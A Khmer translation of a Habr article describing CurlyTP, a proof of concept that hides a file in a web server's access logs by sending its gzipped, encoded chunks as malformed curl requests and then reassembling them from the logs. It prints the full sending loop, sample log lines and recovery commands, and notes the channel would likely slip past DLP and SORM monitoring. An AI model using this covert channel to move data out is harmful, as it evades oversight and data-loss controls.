យោងតាមនិយមន័យរបស់ Wikipedia ការធ្លាក់ចុះដែលស្លាប់គឺជាឧបករណ៍ឃុបឃិតដែលបម្រើក្នុងការផ្លាស់ប្តូរព័ត៌មាន ឬវត្ថុមួយចំនួនរវាងមនុស្សប្រើប្រាស់ទីតាំងសម្ងាត់។ គំនិតនេះគឺថាមនុស្សមិនដែលជួប - ប៉ុន្តែពួកគេនៅតែផ្លាស់ប្តូរព័ត៌មានដើម្បីរក្សាសុវត្ថិភាពប្រតិបត្តិការ។

កន្លែងលាក់ខ្លួនមិនគួរទាក់ទាញការយកចិត្តទុកដាក់។ ដូច្នេះហើយ នៅក្នុងពិភពក្រៅបណ្តាញ ពួកគេច្រើនតែប្រើរឿងមិនប្រុងប្រយ័ត្ន៖ ឥដ្ឋរលុងនៅក្នុងជញ្ជាំង សៀវភៅបណ្ណាល័យ ឬប្រហោងក្នុងដើមឈើ។

មានឧបករណ៍អ៊ិនគ្រីប និងអនាមិកជាច្រើននៅលើអ៊ីនធឺណិត ប៉ុន្តែការពិតនៃការប្រើប្រាស់ឧបករណ៍ទាំងនេះទាក់ទាញការចាប់អារម្មណ៍។ លើសពីនេះទៀតពួកគេអាចត្រូវបានរារាំងនៅកម្រិតសាជីវកម្មឬរដ្ឋាភិបាល។ អ្វី​ដែល​ត្រូវធ្វើ?

អ្នកអភិវឌ្ឍន៍ Ryan Flowers បានស្នើជម្រើសគួរឱ្យចាប់អារម្មណ៍មួយ - ប្រើម៉ាស៊ីនមេគេហទំព័រណាមួយជាកន្លែងលាក់ខ្លួន. បើ​អ្នក​គិត​អំពី​វា តើ web server ធ្វើ​អ្វី? ទទួលសំណើ ចេញឯកសារ និងសរសេរកំណត់ហេតុ។ ហើយវាកត់ត្រារាល់ការស្នើសុំ សូម្បីតែមិនត្រឹមត្រូវ!

វាប្រែថាម៉ាស៊ីនមេគេហទំព័រណាមួយអនុញ្ញាតឱ្យអ្នករក្សាទុកសារស្ទើរតែទាំងអស់នៅក្នុងកំណត់ហេតុ។ ផ្កាឆ្ងល់ពីរបៀបប្រើវា។

គាត់ផ្តល់ជម្រើសនេះ៖

1. យកឯកសារអត្ថបទ (សារសម្ងាត់) ហើយគណនាសញ្ញា (md5sum) ។
2. យើងអ៊ិនកូដវា (gzip + uuencode) ។
3. យើងសរសេរទៅកំណត់ហេតុដោយប្រើសំណើមិនត្រឹមត្រូវដោយចេតនាទៅកាន់ម៉ាស៊ីនមេ។

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

ដើម្បីអានឯកសារ អ្នកត្រូវអនុវត្តប្រតិបត្តិការទាំងនេះតាមលំដាប់បញ្ច្រាស៖ ឌិកូដ និងពន្លាឯកសារ ពិនិត្យមើលសញ្ញា (សញ្ញាអាចបញ្ជូនបានដោយសុវត្ថិភាពតាមបណ្តាញបើក)។

ចន្លោះត្រូវបានជំនួសដោយ =+=ដូច្នេះមិនមានចន្លោះនៅក្នុងអាសយដ្ឋានទេ។ កម្មវិធីដែលអ្នកនិពន្ធហៅថា CurlyTP ប្រើការអ៊ិនកូដ base64 ដូចជាឯកសារភ្ជាប់អ៊ីមែល។ ការស្នើសុំត្រូវបានធ្វើឡើងដោយពាក្យគន្លឹះ ?transfer?ដើម្បីឱ្យអ្នកទទួលអាចរកឃើញវាយ៉ាងងាយស្រួលនៅក្នុងកំណត់ហេតុ។

តើយើងឃើញអ្វីខ្លះនៅក្នុងកំណត់ហេតុក្នុងករណីនេះ?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

ដូចដែលបានបញ្ជាក់រួចមកហើយ ដើម្បីទទួលបានសារសម្ងាត់ អ្នកត្រូវអនុវត្តប្រតិបត្តិការក្នុងលំដាប់បញ្ច្រាស៖

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

ដំណើរការនេះងាយស្រួលធ្វើដោយស្វ័យប្រវត្តិ។ Md5sum ត្រូវគ្នា ហើយខ្លឹមសារនៃឯកសារបញ្ជាក់ថាអ្វីៗត្រូវបានឌិកូដយ៉ាងត្រឹមត្រូវ។

វិធីសាស្រ្តគឺសាមញ្ញណាស់។ "ចំណុចនៃលំហាត់នេះគឺគ្រាន់តែដើម្បីបញ្ជាក់ថាឯកសារអាចត្រូវបានផ្ទេរតាមរយៈសំណើគេហទំព័រតិចតួចដែលគ្មានកំហុស ហើយវាដំណើរការលើម៉ាស៊ីនមេគេហទំព័រណាមួយដែលមានកំណត់ហេតុអត្ថបទធម្មតា។ សំខាន់ រាល់ម៉ាស៊ីនមេបណ្តាញគឺជាកន្លែងលាក់ខ្លួន!” Flowers សរសេរ។

ជាការពិតណាស់ វិធីសាស្ត្រនេះដំណើរការបានលុះត្រាតែអ្នកទទួលមានសិទ្ធិចូលប្រើកំណត់ហេតុម៉ាស៊ីនមេ។ ប៉ុន្តែការចូលប្រើបែបនេះត្រូវបានផ្តល់ជាឧទាហរណ៍ដោយម្ចាស់ផ្ទះជាច្រើន។

តើត្រូវប្រើវាដោយរបៀបណា?

Ryan Flowers និយាយថា គាត់មិនមែនជាអ្នកជំនាញផ្នែកសន្តិសុខព័ត៌មានទេ ហើយនឹងមិនចងក្រងបញ្ជីនៃការប្រើប្រាស់ដែលអាចធ្វើបានសម្រាប់ CurlyTP នោះទេ។ សម្រាប់គាត់ វាគ្រាន់តែជាភ័ស្តុតាងនៃគំនិតដែលឧបករណ៍ដែលធ្លាប់ស្គាល់ដែលយើងឃើញជារៀងរាល់ថ្ងៃអាចប្រើប្រាស់បានតាមរបៀបមិនធម្មតា។

តាមការពិត វិធីសាស្រ្តនេះមានអត្ថប្រយោជន៍ជាច្រើនលើម៉ាស៊ីនមេផ្សេងទៀត "លាក់" ដូចជា Digital Dead Drop ឬ PirateBox៖ វា​មិន​តម្រូវ​ឱ្យ​មាន​ការ​កំណត់​រចនាសម្ព័ន្ធ​ពិសេស​នៅ​ខាង​ម៉ាស៊ីន​បម្រើ ឬ​ពិធីការ​ពិសេស​ណា​មួយ - ហើយ​នឹង​មិន​បង្ក​ឱ្យ​មាន​ការ​សង្ស័យ​ក្នុង​ចំណោម​អ្នក​ដែល​ត្រួត​ពិនិត្យ​ចរាចរណ៍​។ វាមិនទំនងថាប្រព័ន្ធ SORM ឬ DLP នឹងស្កេន URLs សម្រាប់ឯកសារអត្ថបទដែលបានបង្ហាប់នោះទេ។

នេះគឺជាមធ្យោបាយមួយក្នុងការបញ្ជូនសារតាមរយៈឯកសារសេវាកម្ម។ អ្នកអាចចងចាំពីរបៀបដែលក្រុមហ៊ុនជឿនលឿនមួយចំនួនធ្លាប់ដាក់ ការងារអ្នកអភិវឌ្ឍន៍នៅក្នុងបឋមកថា HTTP ឬនៅក្នុងកូដនៃទំព័រ HTML ។

គំនិតនេះគឺថាមានតែអ្នកបង្កើតគេហទំព័រប៉ុណ្ណោះដែលនឹងឃើញពង Easter នេះ ចាប់តាំងពីមនុស្សធម្មតានឹងមិនមើលបឋមកថា ឬកូដ HTML ទេ។

ប្រភព: www.habr.com